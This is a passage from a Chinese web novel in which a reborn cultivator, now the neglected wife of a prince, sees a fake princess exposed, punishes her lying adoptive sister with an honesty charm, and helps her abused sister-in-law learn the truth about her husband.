“你……知道了?”红燕儿瘫坐在地上,愣了瞬,忽然又爬过来,抱住东方宴的腿哭求。
“不管怎么样,这几年的感情是做不了假的。”
“哥,人心都是肉做的。我这辈子没过过好日子,没遇到一个好好待我的人。”
“你是唯一待我好的人,我感念在心,也事事以你为先。我每天送你出门,等着你归府。你生病受伤时,我日夜照顾,恨不能以身相替。”
“你不喜欢林倾月,我就绞尽脑汁想帮你除掉她!”
“哥,你曾问我想要找个什么样的夫君。我当时没有回答,现在我告诉你,我想要的夫君是你这样的啊!”
“这世间又有哪个女子,像我这般懂你、敬你……爱你?”
“哥,你可不可以再给我个机会?如果做不了妹妹,就让我留在你身边,为奴为婢都好。”
第7章 龌龊的心思
“你……你竟然……”东方宴浑身颤抖,怎么也没想到,这个假妹妹居然还对自己怀有这样龌龊的心思。
难怪听闻他成亲的事后,她会反应那么激烈。
“你真让本王觉得恶心!”他以剑相指出,满脸憎恶。
红燕儿不敢置信地看着东方宴:“哥你……要杀我?没有血缘关系,我在你眼里就真的什么都不是了吗?这五年相依相伴的感情难道都是假的吗?”
东方宴冷冷地说:“这五年的时光,不过是你窃取的罢了。若非如此,你这样的贱民,根本没有资格出现在本王面前!”
红燕儿脸色苍白,万分惊愕:“你竟然说我是……是贱民?”
这五年以来,她早就忘了自己的出生,以高贵的郡主自居,张口闭口就怒斥别人是贱人。
可到头来,她最喜欢、最在意的男人,却口口声声骂她是“贱民?”
而东方宴天生高贵,等级尊卑的思想深刻在骨髓里。
一想到自己被这低贱的女子,喊了这么久的哥哥,甚至还肖想不该有的感情,他就有种仿佛被玷污了的恶心。
恶心得他恨不能,直接将其斩杀。
杀念一起,他的长剑也随之送出,却在又在中途稍稍偏离了要害,只刺入了红燕儿的肩胛处。
红燕儿痛得滚出了泪水,可眼里却露出惊喜:“你偏了剑锋?哥,你还是心软了,舍不得杀我了对不对?”
“我就知道,我就知道你舍不得,你不可能会如此狠心待我……”
东方宴咬牙切齿地道:“本王只是觉得一剑杀你太过便宜了!你谋害皇族、冒充郡主,按律当处腰斩!来人,把这冒牌货送去天牢等死。”
“不!哥你不能这样对我。你说过的,我们要一辈子在一起的。你怎么能抛弃我,怎么能送我去死?哥哥,哥哥……”
红燕儿还在不甘心地叫嚷着,企图换回一点往日情分。
可东方宴决绝地转身,任由侍卫将她拖走。
他的神色冰冷无情,但心底依然有些几分说不出的感觉。
五年的相依相伴、兄妹情深,即便是欺骗,也早已不知不觉在生命中落下了痕迹。
眼泪滚出,既有恨,也有痛。
但是很快,他擦去眼角的泪,抬眸望向清安郡主的魂魄——他真正的妹妹。
“清安……”
他想要道歉,想要问问妹妹能否原谅,可又觉得说什么都来不及了。
明明是自己的错,可最受伤的却是无辜的清安。
他转身问谢守正:“可有办法复活清安郡主?谢大人,只要你能帮本王这一次,本王念你大恩,必将涌泉相报。”
谢守正满脸诧异:“王爷,你这简直异想天开!别说郡主已经死了五年多了,就算是新丧,想要还阳都不可能。生死有命,阴阳有别,不可强求啊!”
“本王偏要强求!”他眼眶猩红,偏执地问,“你们玄镜司不是有奇人异士吗?本王就不信,这世上没有令人起死回生的办法!”
谢守正说:“若真有人起死回生了,那才是我们玄镜司要管的事。要不然,大家都不想死,都要死了活、活了死,这世上岂不乱套了?”
东方宴还要再说什么,却忽然感觉到了一丝异样。
他低头就看到一只清瘦的手,拽着他的袖子晃了晃。
伴随着怨念消失,清安郡主的魂魄也恢复了生前的模样,属于人的理智和记忆也全部回归了。
她拽了拽哥哥的袖子,然后打了几个手势。
东方宴看不懂。
林倾月帮着解释:“她说她要走了,让你不要难过,更不要强求。她还说,她没有怪过你,是假郡主太坏了。”
清安郡主感激地冲林倾月点点头,又是一通比画。
林倾月继续当翻译:“你妹妹希望你当个好王爷,要向你们的父亲一样,宽容治民,不要暴虐。”
“清安……”东方宴泪流满面。
他的妹妹啊,从小就是善良的人,寒冬腊月看到路边快要冻死的母子,就毫不犹豫地解下身上昂贵的狐裘相赠。
听说外头闹饥荒,王府的存粮也不多时,她捧出所有的珠宝首饰,命人换粮赈灾。
连父王都常言:“若清安是男儿身,必是造福四方的仁善之王!”
这么好的妹妹,怎么也不可能长成假郡主那种蛇蝎心肠的人啊!
有眼无珠的,是他东方宴!
清安郡主的执念已消,便该离去了。
一阵风起,她的魂魄化成了无数金光点点,在东方宴的周围萦绕了一圈后,飘向了远处。
没人注意的是,其中有一点金光落到了林倾月的掌心,悄无声息的融入她的身体里。
那是清安郡主答应给林倾月的功德。
东方宴还试图要抓回妹妹,却只能眼睁睁地看着妹妹消失,无可奈何。
“清安啊……”他流着泪在冷风里站了很久后,才转身一言不发地离去。
悲凉的背影,踉跄的步子,一点点地没入夜色里。
就连林倾月看着,都不忍不住觉得他好可怜。
就是不知道,当他发现自己的心上人,也是个冒牌货时,会作何感受。
一想到此,林倾月暗暗期待起来。
“王妃。”唤她的是谢守正。
林倾月微笑:“哟,谢大人还没走?可是需要我送送?”
谢守正说:“不敢劳烦王妃。只是下官心里略有疑惑,不知道王妃可否解惑?”
林倾月挑了挑眉:“说来听听。”
谢守正捋着他的山羊须说:“普通的鬼魂,能化为‘厉’的,已是难得。成‘煞’的,就更是罕见。那清安郡主死了五年有余,五年时间都没能化厉,怎么突然间就能化厉,又化煞了呢?”
林倾月反问:“谢大人认为呢?”
“她对王妃您言听计从,且心存感激,所以是王妃用了什么手段促使她化厉,又化煞?”谢守正盯着林倾月,似是想从她脸上看出真相。
林倾月干脆地承认:“不错。”
谢守正脸色一肃:“王妃到底是何方神圣?居然能有如此本事?”
林倾月笑说:“我是何方神圣不重要,重要的是谢大人您是何方妖魔?若是叫人知道,堂堂朝廷五品官员,玄镜司的鉴邪使乃是一头灰狼所化。不知道该作何反应?你这所谓的鉴邪使,鉴的又是哪门子邪?可鉴过你自己?”
此话一出,谢守正当场色变,急忙环视左右——
所幸王府侍卫离得远没听到,自己的两个手下又都是心腹,这才稍稍松了口气。
他压低了声音道:“王妃居然连我的真身都能窥透,果然非同一般。我谢守正虽为异类,但从无害人之心。能坐上如今这个位置,全凭自己的本事。”
“也罢,既然你不想透出底细,下官也可以不再追究。”
“但有一点,还请王妃记好。玄镜司诛天下邪祟,保家国安宁。下官身为玄镜司主官,若是发现王妃有害人之举,哪怕玉石俱焚,也绝不姑息!”
林倾月说:“自然。”
说得差不多了,谢守正也不敢再久留,怕被挖出对方蛛丝马迹。
而林倾月也回到自己的秋水院里,打坐修炼。
虽然今日赚了些功德,修为也稍稍提升了一些些。
虽然比不过从前,但她并不着急。反正那些功法都烂熟于心,修炼起来也能事半功倍。
东方宴一夜未睡,他神色虽然还有些憔悴,但已经从昨夜的打击中舒缓过来,正在心里默默盘算,等下进宫后该如何淡化假郡主的事。
当然,假郡主必须死。只是,他不希望因为此事,让圣上对他生出任何不满。
他最近收到消息,太子已经是个活死人了,圣上也开始认命。改立储君的事,迫在眉睫。
对于储君之位,东方宴可以早就志在必得。关键时刻,绝对不能出现任何纰漏。
还有真郡主的后事,也要派人去处理,他不能让妹妹的遗骸尸沉荒井。
临出府之时,他忍不住又想起昨夜林倾月的种种表现,越想越觉得不对劲。
明明是侯府嫡女,为什么会养在乡下?
以及她的种种本事有事和谁学的?
之前,林倾月的一切,东方宴都不在意。但如今,却不由得好奇起来。
于是他召来手下,去往林倾月长大的南屏乡下,调查她的过往。
一夜之间发生的事情太多,他忙着进宫面圣,一时忘了三朝回门之事。
长宁侯府,也就是林倾月的娘家,为了三朝回门的事情,从昨儿就开始忙活起来。
倒不是多么在意林倾月,只是为了迎接晋王的到来。
到了回门这一天。一大清早,全家老小老早就在眼巴巴地等着。
可左等右等也没见晋王的影子。
最后,长宁侯林霄只好派人去王府询问什么时辰回门。
林倾月正捏着果子吃,忽然听说侯府派人来问,她要嫣然一笑:本座怎么把娘家人给忘了呢?
碧儿担忧地劝说:“王妃,要不还是等王爷回来了,再回门?”
从前待字闺中时,林倾月就没少被侯府的人作践。
连带着,那些势利眼的下人们都明里暗里地欺负她,连过冬用的衣物都克扣。
她冻得满手生疮,却还被亲生哥哥讥讽:“粗手粗脚,连丫鬟都不如。我怎么会有你这样上不得台面的妹妹?”
那时的林倾月,自卑怯懦什么都不敢去争取。
如今,就算她是晋王妃了,可依侯府那些人的德行,若是没有晋王给她撑腰,只怕也会遭遇难堪。
林倾月淡淡一笑:“若是自己的腰杆够硬,就不需要仰仗任何人!”
侯府众人在大门前等候多时,直到日上三竿了,依然迟迟不见人来。
众人便都有些不耐烦,连周氏都不满地嘀咕:“离得也不远,怎么也不知道差人来说一下回门的具体时辰?”
林如珍不安地道:“母亲,姐姐是不是还在怪我?是我不好,那晚一时冲动跳湖轻生。我也没想到,晋王居然会为了来看我,在新婚夜抛下姐姐。”
侯府长子林如风冷嗤:“若非她巧用心思,做下那等伤风败俗的事情。如今嫁给晋王的,该是妹妹你才对。”
“委屈你了。”周氏心疼地摸了摸林如珍的脸颊。
长宁侯林霄也是后悔不已,早知道林倾月会在他时辰宴上,不知廉耻地勾引晋王,害得他成为全京城的笑柄。当日就该把她锁在房里,不让她出来见人。
虽说现在也算和晋王攀上了殷勤,可晋王记恨在心,未必把林倾月当正妻看。
果然,新婚当晚,晋王就抛下了他的大女儿,跑到侯府对他的小女儿嘘寒问暖。
只怕那乡野长大的大女儿,根本留不住晋王的心,早晚要做下堂妇。
“珍儿。”
“爹爹,女儿在。”
“稍后晋王到府,你好生招待。他对你,终归是与众不同的。”
“女儿明白。”
“公爹,这似乎不大好吧?”说话柳氏乃是林霄的儿媳妇,林倾月的嫂嫂。也是唯一对林倾月表达过善意的人。
可惜柳氏嫁入侯府三年无所出,公婆嫌弃,也留不住丈夫的心,在侯府的地位比林倾月好不了多少。
她一向少言寡语,明哲保身。可此刻,听到公爹和小姑子的对话,实在觉得荒唐。
哪有大女儿才成亲,就让小女儿去勾引姐夫的?
是以,她才忍不住出口多说了一句。
结果才说了一句话,就被丈夫林如风甩了个耳光,骂道:“侯府什么时候轮得到你多话了?滚回后宅去!”
周氏也不满地瞪了她一眼:“有那个闲心,不如想想怎么为我们侯府绵延子嗣!今年若是再无身孕,别怪侯府不念旧情!”
柳氏捂着脸,含着眼泪,转身进去了。
就在这时,眼尖的仆人忽然喊了一声:“晋王府的马车来了!”
于是众人都收敛了心神,等着迎接晋王大驾。
马车在侯府门前将将停下,林霄赶忙上前一步,道:“长宁侯林霄携家眷恭迎晋王殿下。”
长宁侯已世袭了五代,早些年是荣耀过,可从林倾月的爷爷开始便没落起来。
到了林霄这一代,也只勉强混了个不入流的闲职。
早两年,就听说陛下有意缩减勋贵子弟们的世袭。
林家慌了,到处请托关系,钱财花去不少,可长子林如风的世子之位至今没能请封成功。
第8章 说谎会口舌生疮,遭报应
相比之下,晋王乃是正统皇室子弟,不仅是圣上最宠爱的侄子,更有可能取代当今太子,成为新的储君。
因此晋王当前,哪怕长宁侯辈分更高,都要携一家老小在门外恭迎。
腰弯了、揖也做了,可马车里的人却迟迟没有回应。
连林如珍都觉得奇怪:晋王从不在我跟前摆谱,怎么今日这样反常?
“晋王殿下?殿下?”林霄小心翼翼地唤了两声。
这时,莹白的素手挑开车帘,一道熟悉的声音从众人头顶传来:“免礼吧。”
林霄一抬头,就看到往日最不待见的嫡长女,从车里出来,神色倨傲、眸光淡淡。
看他们的眼神,好像……看一群小丑?
透过车帘的缝隙,一眼就看到车厢里空空荡荡,并无晋王身影。
“晋王呢?”林霄问。
林倾月慵懒地道:“入宫面圣了。”
所以晋王压根就没来!这是很不给面子的行为,驳的不光是侯府的脸面,更是显露出对林倾月的不重视!
偏偏林倾月刚才,居然还在娘家人面前狐假虎威!
林霄忍着气道:“先进府吧。”
周氏也只是淡淡地扫了林倾月一眼,就转身进去了,丝毫没有母女相见的温馨之感。
林如风转身的时候,瞪了林倾月一眼:“才当了王妃几日,就让我们全家在这里等候,真是好大的架子!结果到头来,晋王连回门都没出现。也不嫌丢人!”
林如珍看到晋王没有出现,心下稍安:他说他心意未变,他果然没有骗我,连回门的面子都不肯给林倾月。
心中嘚瑟,更想让看林倾月气恼之下做出不理智的行为,于是在众人看不见的时候,她悄悄林倾月耳边道:
“占你身份、抢你功劳又怎样?世人宁信我一滴泪,也不信你万句真!你的至亲都向着我,你的夫君也爱着我。连你的王妃之位,也早晚是我的!”
她阴冷一笑,转过身娇娇弱弱地喊:“娘,您等等女儿!女儿扶您进去!”
追上了周氏,亲热地挽着她的胳膊。哪怕没有血缘关系,可母女间依然亲密得扎眼。
对此,林倾月却仿佛看不见一样,只是在快走几步来到她身边的时候,若无其事地拍了拍她的肩膀,种下了一道名为“诚实”的符咒。
林如珍转头看时,只见一道微弱的光芒一闪而过,快得像错觉。
已是午时三刻,侯府早已准备了丰盛的饭菜,原本是想招待晋王。
但此刻,只好勉为其难地招待回门的女儿。
“坐吧,一家人不必拘束。”说话的是林霄。
林倾月被接回侯府整整两年,还是头一次和林霄一桌用餐。
从前高高在上,从不理会后宅明争暗斗的清贵侯爷,难得露出了慈父般的笑容,招呼着回门的女儿。
若是从前的林倾月,估计早就感动的泪流满面。
可此刻的林倾月只是神色淡淡地坐下吃饭,彷佛回来就真的只是为了吃顿饭。
林霄给周氏使了个眼色,周氏这才开口询问:“你这几天在王府……过得如何?晋王待你可还好?”
林倾月道:“还好。”
还好?
林如珍在心底暗暗讥讽:我不过略用手段,就叫晋王连洞房都不入,这叫还好?
林霄干脆开门见山地道:“月儿,你也知道侯府这些年没落了。而晋王是天潢贵胄,甚至有可能问鼎高位。”
“月儿你能当晋王妃,固然是幸运。可过去十多年来,你没有受过贵族教养,连琴棋书画都不精通,其他的就更不用多说。”
“加之晋王本就对你无意,你这王妃之位……恕父亲直言,恐怕难以长久。”
“珍儿和你不同。她在侯府长大,自小就接受过良好的教养,知晓如何执掌中馈,做一府主母。”
“更何况,她对晋王有救命之恩,彼此情深义重。”
“所以,与其等到将来你被晋王嫌弃休弃,不如让珍儿早早过去帮你。娥皇女英,岂不也是一段佳话?”
父女相认以来,这还是林霄头一次和找个女儿说这么多话。
可一开口,说的却是让她接纳林如珍。
林倾月挑眉一笑:“就这么迫不及待,想要她做妾?”
林霄纠正:“珍儿也是侯府嫡女,怎可做妾?父亲的意思是让她先做侧妃,你的婚事是圣上所赐,暂时不好动。但若是将来……”
他顿了顿,压低了声音道:“父亲已经打听到了。立储就这在这段时间了,一旦晋王做了太子,太子妃就是未来的皇后。”
林霄笃定了东方宴会是未来的皇帝,便想在他正式当太子之前,先把林如珍塞过去。
抛开血脉关系不谈,林如珍乃是侯府精心培养长大,更适合母仪天下。
林倾月:“呵~休想。”
林如风一拍桌子怒道:“你居然不同意?你凭什么不同意!当初若非是珍儿舍命救下晋王,晋王又怎会对咱们侯府另眼相看?”
“明明珍儿才是当之无愧的晋王妃,是你心思歹毒,用龌龊的手段给晋王下药,不仅让我们侯府被人耻笑,还害得晋王和珍儿这对有情人,不能终成眷属。”
“今日你回门,全家不计前嫌,对你以礼相待!父亲更是好心好意地和你商议。你不知感恩也就算了,怎么有脸拒绝?”
这一席话,说得林如珍都委屈得红了眼眶,却还故作大方地说:“姐姐,我从来不想和你争夺什么。可王府和合府联姻之事,并非单纯的儿女私情,还关系的爹爹的升迁、哥哥的仕途。”
周氏一脸慈爱地望着林如珍:“还是我珍儿懂事,知道顾全大全。”
转眸看向林倾月这个亲生女儿时,却是各种不满:“你嫁入王府已经三天了,这三天你可曾为你父亲、兄长谋划过什么?你兄长都二十多岁了,至今未能请封世子,也没有一官半职。你可为他考虑过?”
说起这个,林如风就更加气恼:“若换了珍儿是晋王妃,赐封世子的圣旨早下了,父亲也肯定能连升三级!哪像你,连回个门既然都没有夫君陪着。可见晋王对你厌恶至极,我们侯府更是指望你不得!”
升不了官、入不了仕,明明都是自己无能,却还好意思怪在林倾月头上?可笑!
林倾月嗤笑一声:“你们想仰仗的不过是林如珍对东方宴的救命之恩罢了。那日救人的,当真是你吗?”
她笑容微冷,一字一顿问林如珍:“那日救晋王的人,真是你吗?我的好妹妹,谎话说多了,可是会口舌生疮,遭报应哦。”
“姐姐,都这个时候了,你怎么还想把功劳安在自己身上?难道你以为这样晋王殿下就会对你另眼相看?可他又不是傻子!那天我送他回王府的时候,满京城的人都看到了,王府的侍卫也都瞧得清清楚楚。”
可事实呢?
那夜暴雪封山,是林倾月不顾姓命,拖着浑身是血的陌生男人,在茫茫雪地里跋涉了几个小时。
直到天光破晓,大雪停歇,她才体力不支栽倒在城门口。
恰好那时,林如珍的马车碾霜踏雾而来。
她一眼就认出东方宴王爷的身份,当即命人把王爷抬上车辕,还特意绕城一周,才将人给送回王府。
那日之后,满京城都在传颂侯府二小姐的仁义和善良。
而林倾月则在城门口昏了半个时辰,才被巡逻的成门卫发现,送回了家。
回去后,她整整烧了三天三夜,险些一命呜呼。
醒来之后,听说林如珍救了个王爷,她都甚至都没敢多想。
直到东方宴伤愈后,带着厚礼登门时,她才后知后觉地发现自己功劳的被人冒领了。
那时,林倾月百口莫辩,没有信她。连她亲生的父母都以为她恶毒想要抢占妹妹的功劳,罚她诡了三天祠堂。
如今,再提起旧事,林如珍也是毫不心虚。
反正林倾月没有证据,说破天也不会有人信她。
有时,真相如何并不重要,重要的是人们更愿意相信谁!
“姐姐就算想抢功,也不该罔顾事实啊。当日救了晋王殿下一命的人,的的确确就是我啊!”
说到最后一句话的时候,林如珍舌头一闪,犹如被钢针穿刺而过,痛得她“哎哟!”地叫出声来。
周氏急忙关心:“珍儿你怎么了?”
林如珍捂着嘴含含糊糊地道:“痛……嘴,好痛!”
“是上火了吗?”周氏赶紧吩咐嬷嬷,“叫厨娘给小姐熬点雪梨枇杷露。”
林家父子也投去了关切的目光。
从小到大,林如珍稍有点风吹草动,全家都嘘寒问暖,紧张得不得了。
唯独林倾月还在火上浇油:“对了,我刚回府那天,妹妹突然落水。那次,到底是你自己跳下去的,还是我推的?”
当年知道亲生女儿被人调包时,周氏对于林倾月尚有几分愧疚,还准备了见面礼物。
谁知,转眼就听说林倾月把林如珍给推下了水,差点淹死。
周氏很震惊:不是亲自教养的孩子,果然心性不好。
于是,第一次见面,周氏就没给好脸色,连见面礼都没送出。
此刻,林如珍嘴里的疼痛稍稍缓解一些,就道:“姐姐,事情过去了就莫要再提。虽然你推我下水时很用力,但我想你也是一时之气而已。谁叫我占了你的身份,所以你怎么对我,我都不会生你的气,我……”
又是一阵刺痛,舌头犹如被火灼烧一般,痛得她眼泪都流出。
周氏心疼地搂着养女:“这是怎么了?”
林如珍捂着嘴含含糊糊地道:“痛……嘴,更痛了!”
周氏道:“你张开嘴,娘给你看看。”
林如珍小心翼翼地张开嘴,就见她舌头两侧长出两块指甲盖大小的脓疮,看得人心疼。
“怎么生出这么大的脓疮。还是长在舌上,这得多疼!来人,快给小姐请大夫。”
林倾月好心提醒:“我早说过了,说谎会口舌生疮,遭报应。你看应验了吧?下次记得要诚实做人,莫要谎话连篇。”
林如珍下意识地辩解:“我从未说谎……啊!”
好嘛,嘴更疼了。
周氏恼火地冲林倾月吼:“你妹妹都疼哭了,你怎还幸灾乐祸?我怎就生了你这么个恶毒的女儿!”
“这顿饭你自己慢慢吃吧!珍儿,娘陪你回房休息。”
周氏说罢,拉着楚楚可怜的养女走了。
林如风黑着脸说:“林倾月,看你干的好事!把娘和珍儿都气走了,你现在高兴了吗?”
林倾月点点头:“嗯,我很高兴。”
“你真是恶毒!若不是父亲在我……”后面的话他没有说话,只是在临走前,恶毒地瞪了林倾月一眼。
转眼间,饭桌前就只剩下林霄和林倾月父女俩了。
林霄看到林倾月也是觉得很厌烦:此女生性凉薄、行为古怪,一点也不如珍儿聪慧乖巧,难怪晋王不喜。
不过此刻还有话要交代,林霄还是耐着性子道:
“月儿,父亲知道你过去十几年流落在外,吃了很多苦。而是珍儿,占了你的位置,当十几年后侯府千金。所以你心里有怨,处处与她不睦。”
“可偷换孩子的是她的父母,与她无关。这些年来,珍儿替你在父母跟前尽孝。你回来之后,她也处处让着你。”
“不论你做了多么过分的事,珍儿始终在为你说话。毕竟是姐妹,你应该多看看她的好。不该再揪着过去的事情耿耿于怀。”
“刚才说的事,父亲希望你能好好考虑考虑。”
“你如今虽然当了晋王妃,可没有王爷的宠爱,根本无法坐稳这个位置。”
“父亲提出让珍儿早早过去帮你,也是为了你好。珍儿会顾念姐妹之情,为你在晋王身边争取一席之地。将来,珍儿母仪天下,你至少也是个贵妃。”
他苦口婆心,处处说着为林倾月好,其实处处都是在为自己打算。果然是自私凉薄的人,难怪会养出林如珍和林如风那样的儿女!
林倾月丹蔻轻叩下颌,凤眼微扬:“你真觉得晋王一定能当皇帝?万一……他失败了呢?”
“绝无可能!”林霄回答得笃定。
“晋王的父亲和当今圣上乃是一母同胞,关系最为亲厚。老晋王当年还有从龙之功。老晋王去世后,陛下为他罢朝十日,亲自吊唁、送丧。”
“这次,虽然同时召回了八位王爷。可明眼人都能看出来,圣上对晋王格外恩宠。甚至还将禁军守卫的统领权都给了晋王!”
不怪林霄如此笃定,满城权贵如今谁不巴结晋王?
“既然当晋王是根高枝,那就尽管去攀吧。但是想让我开口让林如珍进王府。”
林倾月冷笑,“休想!”
第9章 既要当婊子,又要立牌坊。虚伪!
林倾月丢下筷子转身离去,丝毫不给林霄面子。
林霄气得浑身发抖:“孽障!早知道你如此狼心狗肺,当初就不该把你接回侯府!”
他又怎知,当初那个温婉孝顺,渴望父母关爱的林倾月,早已被他们间接害死了。如今归来的,是他们的孽和债!
而一切,才刚刚开始!
离开饭厅,林倾月在侯府里四处闲逛,走着走着就到了东侧院。
东侧院是侯府的长房长媳柳氏的住所,远远地就闻到一股子难闻的草药味。
林倾月走到房门口的时候,就看到柳氏端着一碗黑乎乎的汤药,皱着眉头,满脸抗拒。
旁边的嬷嬷劝说道:“少夫人,这是夫人新找来的方子熬的药,很是灵验。不少妇人都用过,据说接连服用一个月就能怀孕。”
柳氏问:“这碗边上怎么还浮着一圈灰?”
嬷嬷说:“是夫人从庙里求来的香灰,那个庙求子也很灵验。”
柳氏不高兴地放下了汤药。
为了让她生孩子,她的婆母真是无所不用其极!
嬷嬷是周氏的人,专门派过来盯着柳氏服药。
见她不肯喝,嬷嬷的脸色冷了下来:“我家夫人为了少夫人的身体,这些年没少操心。若是您不喝,岂不浪费了夫人的一番心血?”
说罢,她直接端起那碗药,正要塞回柳氏手里。
可就在这时候,手腕一痛一抖,药碗清脆落地,汤汁尽数撒光。
嬷嬷慌了起来:“少夫人,奴婢再去给您熬一碗。您可千万别说奴婢把汤药打翻了,要不然夫人那边恐不好交代!”
说完,她匆匆忙忙地下去了。
而林倾月这时才施施然走了进来。
柳氏看到林倾月,赶忙过来请她入座。
嫁入侯府三年,婆母刻薄,小姑子面慈心恶。夫君非但没有半分怜爱,还时不时动手打人。
从前,只有单纯善良的林倾月能和她说上几句话。
所以,今日林倾月回府,柳氏是唯一高兴的人。却因在大门口多了句嘴,就被夫君一个巴掌赶回内宅。
她亲热地拉着林倾月坐下,并吩咐下人送上茶水、糕点。
“方才身子有些不舒服,未能出去迎你,莫怪。”她递了块糕点给林倾月,“吃吧,这我这儿无需顾忌仪态,尽管吃个痛快!”
林倾月看到她脸上残留的巴掌印,问道:“他又打你了?”
柳氏只笑不语。
林倾月又问:“你就没想过离开吗?”
“离开?”柳氏苦笑,“我若敢提和离,莫说你哥会打死我。便是我娘家,也不会同意。世人从来待女子刻薄,除非男子有重大的过错,否则女子谈和离就是不守妇道,要受尽世人唾弃。连带着娘家要被人指指点点,门楣受辱。”
“他打你难道还不是打错?”林倾月不客气地扯开她的袖子,露出大大小小的乌青和疤痕。
乌青是掐的,疤痕是用蜡烛烧的。
柳氏神情麻木地道:“打人又算得了什么呢?女子若打丈夫,那叫倒反天罡!而男人打妻子,外人只会说是妻子做得不好。即便打死了,也只囚三年。”
柳氏从前也不是没有反抗过。
第一次被林如风打的时候,她一气之下就回了娘家。
可没住两天,就被娘家人送回夫家。
父亲说:“出嫁的女儿总住在娘家,会影响家里姐妹的名声。莫要为一点小事跑回来,叫你父母丢脸。”
从那之后,无论林如风打得多狠,她都没再回过娘家。只一心盼着早日生下子嗣傍身,或许有子嗣了他就不会再打了。
可惜事与愿违。
柳氏垂了垂眸:“也怪我肚子不争气,嫁过来三年了,愣是一点反应都没有。”
林倾月道:“你为什么把错误怪在自己头上?”
柳氏面露疑惑:“妹妹这话是什么意思?”
林倾月道:“你是多子多孙的面相,林如风却和你刚好相反。所以,即便要延医用药,也该是他才对。”
柳氏闻言急忙窥了眼门外,见没旁人听到,才压低了声音道:
“此话你切不可在外说!若是叫婆母听到,又要恼你了。你如今虽是王妃了,可还是要和娘家搞好关系,将来才能有个依仗。”
说到这里的时候,她又想起方才林霄和林如珍的对话,又觉得有些不妥。
她随即叹了口气:“咱们姑嫂,都是可怜之人。”
林倾月见她不信,也不多说。
毕竟这个时代,男女地位悬殊。生不出孩子的罪责,从来都是要女人担着。
即便是男人的问题,他们也会有恃无恐地把屎盆子扣在女人头上。
而林如风是林家的嫡长子,又是周氏唯一的儿子和指望,她绝对不会相信儿子身体有问题。只会变本加厉地磋磨儿媳。
柳氏难过之余,又自我安慰:“你哥虽然不甚体贴,又总爱打人。但是婆母每次提出让他纳妾,他都拒绝。我想,他心里多少还是有些在意我的吧?”
“他在意的只有他自己!”林倾月毫不客气地道,“不纳妾,也只是因为他好男风,不喜女色。”
此话一出,惊得柳氏目瞪口呆,“此事当真?你,你怎么知道的?”
“你若不信,可以派人去双燕巷打听,他可是那儿的常客。”
“双燕巷”乃是京城男风馆的聚集之地,有龙阳之癖的公子哥们最爱去那地方。
林倾月有次路过那个巷子口时,恰好看到林如风从里面出来。
餍足而飘忽的神态,和以往凶巴巴的模样判若两人。
他一转头,看到林倾月后,神色顿变,冲过来恶狠狠地警告:
“不准对任何人说我来过此地,否则我饶不了你!”
那时,林倾月才刚回侯府不久,根本不知道那是什么地方。
林如风不让她说,她便也没有多嘴。
可没过几天,林如风的特殊癖好还是被林霄发现了,狠狠地责打了他一顿。
这事,周氏和林如珍都知道,唯独没有给柳氏说实话,柳氏还以为丈夫是顶撞父亲才被责罚。
林如风认定是林倾月告的秘。伤好之后第一件事,就是抓着林倾月的衣领子,打了她十几个嘴巴子。
林倾月的嘴巴都打出了血,周氏才赶来。
林如珍还在旁边茶茶地说:“哥哥一向友爱手足,妹妹是怎么惹得他动怒的?快和哥哥道个歉,一家人可千万莫要记仇啊。”
周氏训斥了儿子几句后,反过来叮嘱林倾月:“长兄为父,即便有时手段稍微激烈了些,也是为你好。切不可在外胡说,坏你兄长的名声。可记住了?”
而无辜的林倾月,连自己怎么得罪了林如风都不知道,明明是受害者却反而还要讨好施暴者,真是荒唐!
不过如今的林倾月,却什么肮脏龌龊的事情都经历过,稍一回想就明白当初的双燕巷是什么地方。
林如风之所以不孕,大概率是因为他自己玩得花、玩坏了身体罢了。
柳氏听她说完这些后,一开始惊讶得难以置信,但很快就想明白了。
“难怪成婚三年,他一直很少碰我。偶尔几次同房,也是草草了事。事后,还要嫌弃地沐浴几次。他身边没有丫鬟,却有几个清秀的小厮。我一直以为,他是洁身自好。”
“你说他不孕,我起初是不信的。可现在,我却不得不信了。”
“真是可笑啊!”她嘴里说着可笑,眼泪却不受控制地落下来。
“明明一切都是他的问题,可这三年来,人人都指责我不能生育,将我当做罪人!连我娘家的父母都认为我亏欠了林家,对林家百般讨好,生怕他们将我休弃。”
“而我,为了怀孕,喝了两年半的苦药。愣是把肠胃都喝伤了……到头来,居然是这样!”
她擦去眼泪,握住林倾月的手,感激地道:“月儿妹妹,多谢你告诉我这些,要不然我还不知道要被作践多久!林家,也只有你一个好人了。”
好人?她倾月仙君已经好久没有被人这样说过了。
可惜,她才不是什么好人。
之所以和柳氏说这些,是因为柳氏是个关键人物。
林如风作恶甚多,本该有报应,可惜柳氏的存在让报应迟迟未来。
“所以,你知道真相后,准备怎么办?”林倾月问。
若是柳氏依然执迷不悟,就算她是福运之人,也会被连累到死。
柳氏垂着头,似乎在思索。
片刻之后,当她再抬起头时,一贯的懦弱不见了。
“林家我是万万不能再呆了,我先回娘家,将一切告知给我父母。待收集到证据后就和离!”
齐国虽然没有明令禁止男风,可到底不符合世俗的主流观念。
因此,就算有此癖好,也是悄悄地玩,绝对不能搬到台面上。
若是殴打妻子只是家事。那么断袖之癖,则会让林如风身败名裂,前途尽毁。
而林如风当初娶妻,也不过是想要掩盖自己的特殊取向而已。
当天,柳氏就收拾了东西回娘家去了。
出门的时候,正好嬷嬷新的汤药送来。
柳氏恨恨地道:“转告婆母,这药我以后再也不会喝了!”
林倾月望着柳氏离去的背影,勾唇微笑:“迟来的报应,今晚该来了。”
搅合得差不多了,她正准备离开侯府,却得知东方宴来了。
因为清安郡主的事,东方宴心情低落,在圣上面前阐述完前因后果后,就回了王府。
想到前一晚林倾月也算是帮了清安郡主的忙,于是东方宴寻思着理应向她道谢。
同时,他也想问问,林倾月怎么会那些玄门之术。
却得知,王妃回侯府去了。
东方宴这才想起三朝回门的事来。
在齐国,三朝回门乃是十分重要之事。
不仅丈夫要一同前往,还要备下厚礼,正式缔结两姓之好。
东方宴的缺席,既会让女方难堪。也会留下口实,显得男方不知礼数。
思及至此,东方宴吩咐手下去库房挑拣了礼品,亲自携带前往侯府。
而林家人一听东方宴来了,立马扶老携幼,一大家人亲亲热热地将尊贵的王爷迎到客厅主位上。
东方宴和林霄寒暄了几句后,环顾四周,却没看到林如珍的影子,忍不住询问:“怎不见二小姐出来?”
周氏解释:“珍儿身子有些不适,在后宅休息。”
“可是那晚落水之后着了凉?”东方宴面露担忧之色,连自己因何而来的都差点忘记了。
说完之后,才意识自己有些冒昧。
